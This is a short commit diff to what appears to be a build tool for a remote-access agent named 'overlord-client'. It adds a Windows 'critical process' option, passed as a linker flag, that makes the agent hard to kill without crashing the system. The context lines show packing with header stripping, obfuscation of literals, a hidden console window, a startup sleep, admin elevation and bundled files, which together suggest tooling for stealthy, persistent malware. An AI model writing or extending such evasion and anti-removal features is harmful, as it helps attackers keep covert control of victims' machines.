add critical process for windows
This commit is contained in:
@@ -87,6 +87,7 @@ type BuildProcessConfig = {
|
||||
enableUpx?: boolean;
|
||||
upxStripHeaders?: boolean;
|
||||
requireAdmin?: boolean;
|
||||
criticalProcess?: boolean;
|
||||
outputExtension?: string;
|
||||
sleepSeconds?: number;
|
||||
boundFiles?: BoundFile[];
|
||||
@@ -740,6 +741,12 @@ func runBoundFiles() {
|
||||
sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
|
||||
}
|
||||
|
||||
if (config.criticalProcess && os === "windows") {
|
||||
const criticalFlag = "-X overlord-client/cmd/agent/config.DefaultCriticalProcess=true";
|
||||
ldflags = ldflags ? `${ldflags} ${criticalFlag}` : criticalFlag;
|
||||
sendToStream({ type: "output", text: "Critical process: enabled (requires admin at runtime)\n", level: "info" });
|
||||
}
|
||||
|
||||
if (config.obfuscate) {
|
||||
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
|
||||
if (config.garbleLiterals) {
|
||||
|
||||
Reference in New Issue
Block a user